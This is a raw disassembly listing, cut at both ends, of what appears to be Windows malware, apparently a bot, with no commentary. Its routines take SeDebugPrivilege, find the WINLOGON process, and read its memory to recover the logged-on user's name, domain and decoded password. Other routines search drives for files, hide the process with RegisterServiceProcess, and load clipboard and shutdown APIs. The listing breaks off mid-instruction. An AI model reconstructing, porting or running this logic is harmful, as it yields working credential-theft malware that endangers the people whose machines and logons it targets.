RegOpenKeyExA lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call ds:dword_436374 ; RegQueryValueExA test eax, eax jnz loc_4073F3 mov eax, [esi] cmp eax, ebx jz loc_4073B7 push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset aSS_3 ; "%s\\%s" push eax call sub_415480 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_415B78 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_4073F3 push eax loc_407315: ; CODE XREF: sub_40726C+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41712C add esp, 0Ch test eax, eax jz loc_4073AC push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_415A50 pop ecx test eax, eax pop ecx jz short loc_407342 push [ebp+var_8] jmp short loc_407315 ; --------------------------------------------------------------------------- loc_407342: ; CODE XREF: sub_40726C+CFj push 3Dh push dword ptr [esi+4] call sub_417070 pop ecx test eax, eax pop ecx jz short loc_407370 lea eax, [ebp+var_70] push offset asc_4281B0 ; "=" push eax call sub_416C8F push offset asc_4281B0 ; "=" push ebx call sub_416C8F add esp, 10h jmp short loc_407373 ; --------------------------------------------------------------------------- loc_407370: ; CODE XREF: sub_40726C+E4j lea eax, [ebp+var_70] loc_407373: ; CODE XREF: sub_40726C+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_415480 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 lea eax, [ebp+var_2F0] push eax call sub_40A5B3 add esp, 18h loc_4073AC: ; CODE XREF: sub_40726C+B9j push [ebp+var_8] call sub_415AD0 pop ecx jmp short loc_4073F3 ; --------------------------------------------------------------------------- loc_4073B7: ; CODE XREF: sub_40726C+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_415480 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 lea eax, [ebp+var_2F0] push eax call sub_40A5B3 add esp, 28h loc_4073F3: ; CODE XREF: sub_40726C+60j ; sub_40726C+A2j ... push [ebp+var_4] call ds:dword_436444 ; RegCloseKey add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_40729C pop edi pop esi loc_40740D: ; CODE XREF: sub_40726C+19j pop ebx leave retn sub_40726C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407410 proc near ; DATA XREF: sub_40D2E0+3D60o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_415C80 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_407465 lea eax, [ebp+var_114] push eax call sub_415C80 pop ecx mov [ebp+eax+var_115], bl loc_407465: ; CODE XREF: sub_407410+3Fj lea eax, [ebp+var_218] push eax push offset unk_428204 lea eax, [ebp+var_49C] push 200h push eax call sub_4159FA add esp, 10h cmp [ebp+var_8], ebx jnz short loc_4074AA push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40BAE7 add esp, 14h loc_4074AA: ; CODE XREF: sub_407410+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_40752B add esp, 18h push eax lea eax, [ebp+var_49C] push offset unk_4281D4 push eax call sub_415480 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40750B push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40BAE7 add esp, 14h loc_40750B: ; CODE XREF: sub_407410+D9j lea eax, [ebp+var_49C] push eax call sub_40A5B3 push [ebp+var_10] call sub_415248 pop ecx pop ecx push ebx call ds:dword_422044 ; ExitThread pop edi pop esi pop ebx sub_407410 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40752B proc near ; CODE XREF: sub_407410+B9p ; sub_40752B+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset aS_4 ; "%s\\*" push esi push eax call sub_4159FA mov edi, ds:off_422094 add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; sub_4DA334 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_4075E8 loc_407577: ; CODE XREF: sub_40752B+BBj test [ebp+var_144], 10h jz short loc_4075D4 cmp [ebp+var_118], 2Eh jnz short loc_40759B cmp [ebp+var_117], 0 jz short loc_4075D4 cmp [ebp+var_117], 2Eh jz short loc_4075D4 loc_40759B: ; CODE XREF: sub_40752B+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_4159FA push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40752B add esp, 2Ch mov [ebp+arg_14], eax loc_4075D4: ; CODE XREF: sub_40752B+53j ; sub_40752B+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] call ds:off_422090 test eax, eax jnz short loc_407577 loc_4075E8: ; CODE XREF: sub_40752B+4Aj push [ebp+var_4] call ds:off_422084 push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_4159FA add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; sub_4DA334 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40766E loc_40761F: ; CODE XREF: sub_40752B+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_4159FA push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 28h lea eax, [ebp+var_144] push eax push esi call ds:off_422090 test eax, eax jnz short loc_40761F loc_40766E: ; CODE XREF: sub_40752B+F2j push esi call ds:off_422084 mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_40752B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40767D proc near ; DATA XREF: sub_40D2E0+5237o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_409DD0 cmp eax, esi mov [ebp+var_4], eax jz short loc_4076BC cmp eax, 2 jz short loc_4076BC push offset unk_428478 jmp loc_4077FB ; --------------------------------------------------------------------------- loc_4076BC: ; CODE XREF: sub_40767D+2Ej ; sub_40767D+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41358D pop ecx test eax, eax pop ecx jz loc_4077F6 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call ds:off_4220C0 mov esi, ds:off_4220BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi ; sub_4DB076 push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov ds:dword_436114, eax call esi ; sub_4DB076 push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov ds:dword_436108, eax call esi ; sub_4DB076 push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov ds:dword_436318, eax call esi ; sub_4DB076 push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov ds:dword_436110, eax call esi ; sub_4DB076 mov ds:dword_43610C, eax call sub_40784F test eax, eax mov [ebp+arg_0], eax jz loc_4077C9 mov esi, ds:dword_4220B8 mov edi, 400h mov ebx, offset dword_435108 push edi push ebx push offset aUsername ; "USERNAME" call esi ; GetEnvironmentVariableW push edi mov edi, offset dword_435908 push edi push offset aUserdomain ; "USERDOMAIN" call esi ; GetEnvironmentVariableW cmp [ebp+var_4], 1 push offset dword_436320 push [ebp+arg_0] jnz short loc_407775 call sub_4079D8 jmp short loc_40777A ; --------------------------------------------------------------------------- loc_407775: ; CODE XREF: sub_40767D+EFj call sub_407B7F loc_40777A: ; CODE XREF: sub_40767D+F6j pop ecx test eax, eax pop ecx jz short loc_4077C2 cmp ds:dword_436320, 0 jnz short loc_4077A9 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_428324 push 200h push eax call sub_4159FA add esp, 18h jmp short loc_4077DC ; --------------------------------------------------------------------------- loc_4077A9: ; CODE XREF: sub_40767D+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_4077B9 call sub_407CB5 jmp short loc_4077BE ; --------------------------------------------------------------------------- loc_4077B9: ; CODE XREF: sub_40767D+133j call sub_407D4C loc_4077BE: ; CODE XREF: sub_40767D+13Aj pop ecx push eax jmp short loc_4077CE ; --------------------------------------------------------------------------- loc_4077C2: ; CODE XREF: sub_40767D+101j push offset unk_4282DC jmp short loc_4077CE ; --------------------------------------------------------------------------- loc_4077C9: ; CODE XREF: sub_40767D+B6j push offset unk_428298 loc_4077CE: ; CODE XREF: sub_40767D+143j ; sub_40767D+14Aj lea eax, [ebp+var_29C] push eax call sub_415480 pop ecx pop ecx loc_4077DC: ; CODE XREF: sub_40767D+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41358D pop ecx pop ecx push [ebp+var_8] call ds:off_4220B4 pop ebx jmp short loc_407809 ; --------------------------------------------------------------------------- loc_4077F6: ; CODE XREF: sub_40767D+4Ej push offset unk_428254 loc_4077FB: ; CODE XREF: sub_40767D+3Aj lea eax, [ebp+var_29C] push eax call sub_415480 pop ecx pop ecx loc_407809: ; CODE XREF: sub_40767D+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_407830 push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_40BAE7 add esp, 14h loc_407830: ; CODE XREF: sub_40767D+191j lea eax, [ebp+var_29C] push eax call sub_40A5B3 push [ebp+var_18] call sub_415248 pop ecx pop ecx push esi call ds:dword_422044 ; ExitThread pop edi pop esi sub_40767D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40784F proc near ; CODE XREF: sub_40767D+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, ds:dword_4220CC mov ebx, 100h push edi push ebx push 8 call esi ; GetProcessHeap mov edi, ds:dword_4220C8 push eax call edi ; RtlAllocateHeap mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call ds:dword_436114 push ebp push 0 call esi ; GetProcessHeap push eax call ds:dword_4220C4 ; RtlFreeHeap push [esp+28h+var_14] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call ds:dword_436114 test eax, eax jnz short loc_40793C mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_40793C push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_40793C loc_4078D8: ; CODE XREF: sub_40784F+EBj cmp word ptr [ebx+8], 5 jnz short loc_40792F push 0 push 0 call ds:dword_436108 mov edi, eax push edi push 1 push dword ptr [ebx+4] call ds:dword_436318 test eax, eax jnz short loc_407920 mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_417183 pop ecx push eax call sub_415A50 pop ecx test eax, eax pop ecx jnz short loc_407954 loc_407920: ; CODE XREF: sub_40784F+AAj test edi, edi jz short loc_40792B push edi call ds:dword_436110 loc_40792B: ; CODE XREF: sub_40784F+D3j mov eax, [esp+28h+var_10] loc_40792F: ; CODE XREF: sub_40784F+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_4078D8 loc_40793C: ; CODE XREF: sub_40784F+6Dj ; sub_40784F+7Aj ... xor edi, edi loc_40793E: ; CODE XREF: sub_40784F+17Dj push ebp push 0 call esi ; GetProcessHeap push eax call ds:dword_4220C4 ; RtlFreeHeap mov eax, edi loc_40794C: ; CODE XREF: sub_40784F+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_407954: ; CODE XREF: sub_40784F+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_4079BD lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_40796A: ; CODE XREF: sub_40784F+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_417183 pop ecx push eax call sub_415A50 pop ecx test eax, eax pop ecx jnz short loc_4079D1 push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_417183 pop ecx push eax call sub_415A50 pop ecx test eax, eax pop ecx jnz short loc_4079AF mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_4079AF: ; CODE XREF: sub_40784F+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_40796A loc_4079BD: ; CODE XREF: sub_40784F+10Fj test edi, edi jz short loc_4079C8 push edi call ds:dword_436110 loc_4079C8: ; CODE XREF: sub_40784F+170j mov edi, [esp+28h+var_4] jmp loc_40793E ; --------------------------------------------------------------------------- loc_4079D1: ; CODE XREF: sub_40784F+13Cj xor eax, eax jmp loc_40794C sub_40784F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4079D8 proc near ; CODE XREF: sub_40767D+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call ds:dword_4220DC ; OpenProcess cmp eax, esi mov [ebp+var_4], eax jnz short loc_407A01 xor eax, eax jmp loc_407B7C ; --------------------------------------------------------------------------- loc_407A01: ; CODE XREF: sub_4079D8+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call ds:dword_4220D8 ; GetSystemInfo push [ebp+var_60] mov [ebp+var_8], esi mov esi, ds:dword_4220CC push 8 call esi ; GetProcessHeap mov edi, ds:dword_4220C8 push eax call edi ; RtlAllocateHeap lea ecx, [ebp+var_8] mov ebx, ds:dword_4220D4 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jnz short loc_407A51 xor esi, esi jmp loc_407B6F ; --------------------------------------------------------------------------- loc_407A51: ; CODE XREF: sub_4079D8+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call ds:dword_4220D0 ; VirtualQueryEx test eax, eax jz loc_407B5E mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_407B5E test [ebp+var_2B], 1 jnz loc_407B5E push [ebp+var_34] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jz loc_407B5E loc_407AB4: ; CODE XREF: sub_4079D8+112j push edi push offset dword_435108 call sub_420B6C pop ecx test eax, eax pop ecx jnz short loc_407ADC lea eax, [edi+200h] push eax push offset dword_435908 call sub_420B6C pop ecx test eax, eax pop ecx jz short loc_407AEC loc_407ADC: ; CODE XREF: sub_4079D8+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_407B5E jmp short loc_407AB4 ; --------------------------------------------------------------------------- loc_407AEC: ; CODE XREF: sub_4079D8+102j test edi, edi jz short loc_407B5E lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call ds:dword_42208C ; FileTimeToLocalFileTime test eax, eax jz short loc_407B27 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call ds:dword_422088 ; FileTimeToSystemTime test eax, eax jz short loc_407B27 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_407B27: ; CODE XREF: sub_4079D8+12Bj ; sub_4079D8+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov ds:dword_43632C, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov ds:dword_436324, eax mov ds:dword_436328, edi loc_407B5E: ; CODE XREF: sub_4079D8+90j ; sub_4079D8+A2j ... push [ebp+arg_0] push 0 call esi ; GetProcessHeap push eax call ds:dword_4220C4 ; RtlFreeHeap mov esi, [ebp+var_10] loc_407B6F: ; CODE XREF: sub_4079D8+74j push [ebp+var_4] call ds:off_422074 pop edi mov eax, esi pop ebx loc_407B7C: ; CODE XREF: sub_4079D8+24j pop esi leave retn sub_4079D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B7F proc near ; CODE XREF: sub_40767D:loc_407775p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call ds:dword_4220DC ; OpenProcess test eax, eax mov [ebp+arg_0], eax jz loc_407C71 mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call ds:dword_4220D8 ; GetSystemInfo mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_407C68 mov edi, ds:dword_4220CC loc_407BCA: ; CODE XREF: sub_407B7F+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call ds:dword_4220D0 ; VirtualQueryEx test eax, eax jz short loc_407C56 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_407C5C test [ebp+var_13], 1 jnz short loc_407C5C push ecx push 8 call edi ; GetProcessHeap push eax call ds:dword_4220C8 ; RtlAllocateHeap mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call ds:dword_4220D4 ; ReadProcessMemory test eax, eax jz short loc_407C48 push offset dword_435108 push esi call sub_420B6C pop ecx test eax, eax pop ecx jnz short loc_407C48 lea eax, [esi+400h] push offset dword_435908 push eax call sub_420B6C pop ecx test eax, eax pop ecx jz short loc_407C78 loc_407C48: ; CODE XREF: sub_407B7F+9Fj ; sub_407B7F+B0j push esi push 0 call edi ; GetProcessHeap push eax call ds:dword_4220C4 ; RtlFreeHeap jmp short loc_407C5C ; --------------------------------------------------------------------------- loc_407C56: ; CODE XREF: sub_407B7F+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_407C5C: ; CODE XREF: sub_407B7F+71j ; sub_407B7F+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_407BCA loc_407C68: ; CODE XREF: sub_407B7F+3Fj push [ebp+arg_0] call ds:off_422074 loc_407C71: ; CODE XREF: sub_407B7F+1Ej xor eax, eax loc_407C73: ; CODE XREF: sub_407B7F+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_407C78: ; CODE XREF: sub_407B7F+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov ds:dword_436324, ebx mov ds:dword_436328, eax cmp [eax], cl jnz short loc_407C9A cmp [eax+1], cl jz short loc_407CA2 loc_407C9A: ; CODE XREF: sub_407B7F+114j ; sub_407B7F+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_407C9A loc_407CA2: ; CODE XREF: sub_407B7F+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx call ds:off_422074 push 1 pop eax jmp short loc_407C73 sub_407B7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407CB5 proc near ; CODE XREF: sub_40767D+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, ds:dword_436320 push esi mov esi, ds:dword_4220CC push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi ; GetProcessHeap push eax call ds:dword_4220C8 ; RtlAllocateHeap mov ecx, ds:dword_436320 mov [ebp+var_4], eax add ecx, ecx push ecx push ds:dword_436328 push eax call sub_415560 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr ds:dword_43632C push eax call ds:dword_43610C push [ebp+var_4] mov edi, offset dword_436118 push offset dword_435108 push offset dword_435908 push [ebp+arg_0] push offset unk_4284D8 push 200h push edi call sub_4159FA add esp, 1Ch push [ebp+var_4] push 0 call esi ; GetProcessHeap push eax call ds:dword_4220C4 ; RtlFreeHeap mov eax, edi pop edi pop esi leave retn sub_407CB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D4C proc near ; CODE XREF: sub_40767D:loc_4077B9p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, ds:dword_436320 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call ds:dword_4220CC ; GetProcessHeap push eax call ds:dword_4220C8 ; RtlAllocateHeap and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_435908 mov edi, 200h mov esi, offset dword_434F08 loc_407D92: ; CODE XREF: sub_407D4C+FAj mov eax, ds:dword_436320 add eax, eax push eax push ds:dword_436328 push [ebp+var_14] call sub_415560 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call ds:dword_43610C mov eax, ds:dword_436320 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_407E07 loc_407DCF: ; CODE XREF: sub_407D4C+B3j cmp [ebp+var_8], 0 jz short loc_407E24 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_407DF3 cmp byte ptr [ecx+1], 0 jnz short loc_407DF3 cmp dl, 20h jnb short loc_407DED and [ebp+var_8], 0 loc_407DED: ; CODE XREF: sub_407D4C+9Bj cmp [ebp+var_1], 7Eh jbe short loc_407DF7 loc_407DF3: ; CODE XREF: sub_407D4C+90j ; sub_407D4C+96j and [ebp+var_8], 0 loc_407DF7: ; CODE XREF: sub_407D4C+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_407DCF cmp [ebp+var_8], 0 jz short loc_407E24 loc_407E07: ; CODE XREF: sub_407D4C+81j push [ebp+var_14] push offset dword_435108 push ebx push [ebp+arg_0] push offset unk_4284D8 push edi push esi call sub_4159FA add esp, 1Ch jmp short loc_407E3C ; --------------------------------------------------------------------------- loc_407E24: ; CODE XREF: sub_407D4C+87j ; sub_407D4C+B9j push offset dword_435108 push ebx push [ebp+arg_0] push offset unk_428544 push edi push esi call sub_4159FA add esp, 18h loc_407E3C: ; CODE XREF: sub_407D4C+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_407D92 push [ebp+var_14] push 0 call ds:dword_4220CC ; GetProcessHeap push eax call ds:dword_4220C4 ; RtlFreeHeap mov eax, esi pop edi pop esi pop ebx leave retn sub_407D4C endp ; =============== S U B R O U T I N E ======================================= sub_407E65 proc near ; CODE XREF: sub_40CB17+48p push ebx push ebp mov ebp, ds:off_4220E0 push esi push edi push offset aKernel32_dll_1 ; "kernel32.dll" call ebp ; sub_4DAF8C mov esi, ds:off_4220BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_407F85 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; sub_4DB076 push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov ds:dword_436514, eax call esi ; sub_4DB076 push offset aProcess32first ; "Process32First" push edi mov ds:dword_436488, eax call esi ; sub_4DB076 push offset aProcess32next ; "Process32Next" push edi mov ds:dword_43646C, eax call esi ; sub_4DB076 push offset aModule32first ; "Module32First" push edi mov ds:dword_436388, eax call esi ; sub_4DB076 push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov ds:dword_436334, eax call esi ; sub_4DB076 push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov ds:dword_436364, eax call esi ; sub_4DB076 push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov ds:dword_4363D8, eax call esi ; sub_4DB076 push offset aSearchpatha ; "SearchPathA" push edi mov ds:dword_4364C8, eax call esi ; sub_4DB076 push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov ds:off_436524, eax call esi ; sub_4DB076 push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov ds:dword_436394, eax call esi ; sub_4DB076 cmp ds:dword_436514, ebx mov ds:dword_43637C, eax jz short loc_407F63 cmp ds:dword_436488, ebx jz short loc_407F63 cmp ds:dword_43646C, ebx jz short loc_407F63 cmp ds:dword_436388, ebx jz short loc_407F63 cmp ds:dword_436364, ebx jz short loc_407F63 cmp ds:dword_4363D8, ebx jz short loc_407F63 cmp ds:dword_4364C8, ebx jz short loc_407F63 cmp ds:off_436524, ebx jz short loc_407F63 cmp ds:dword_436394, ebx jz short loc_407F63 cmp eax, ebx jnz short loc_407F6D loc_407F63: ; CODE XREF: sub_407E65+B8j ; sub_407E65+C0j ... mov ds:dword_436528, 1 loc_407F6D: ; CODE XREF: sub_407E65+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; sub_4DB076 cmp eax, ebx mov ds:dword_4364A0, eax jz short loc_407F9A push 1 push ebx call eax jmp short loc_407F9A ; --------------------------------------------------------------------------- loc_407F85: ; CODE XREF: sub_407E65+1Dj call ds:dword_42206C ; RtlGetLastWin32Error mov ds:dword_43652C, eax mov ds:dword_436528, 1 loc_407F9A: ; CODE XREF: sub_407E65+117j ; sub_407E65+11Ej push offset aUser32_dll ; "user32.dll" call ds:off_4220C0 mov edi, eax cmp edi, ebx jz loc_4080AF push offset aSendmessagea ; "SendMessageA" push edi call esi ; sub_4DB076 push offset aFindwindowa ; "FindWindowA" push edi mov ds:dword_4364C4, eax call esi ; sub_4DB076 push offset aIswindow ; "IsWindow" push edi mov ds:dword_436474, eax call esi ; sub_4DB076 push offset aDestroywindow ; "DestroyWindow" push edi mov ds:dword_436408, eax call esi ; sub_4DB076 push offset aOpenclipboard ; "OpenClipboard" push edi mov ds:dword_436518, eax call esi ; sub_4DB076 push offset aGetclipboardda ; "GetClipboardData" push edi mov ds:dword_436438, eax call esi ; sub_4DB076 push offset aCloseclipboard ; "CloseClipboard" push edi mov ds:dword_436458, eax call esi ; sub_4DB076 push offset aExitwindowsex ; "ExitWindowsEx" push edi mov ds:dword_4364BC, eax call esi ; sub_4DB076 cmp ds:dword_4364C4, ebx mov ds:dword_4363B0, eax jz short loc_408053 cmp ds:dword_436474, ebx jz short loc_408053 cmp ds:dword_436408, ebx jz 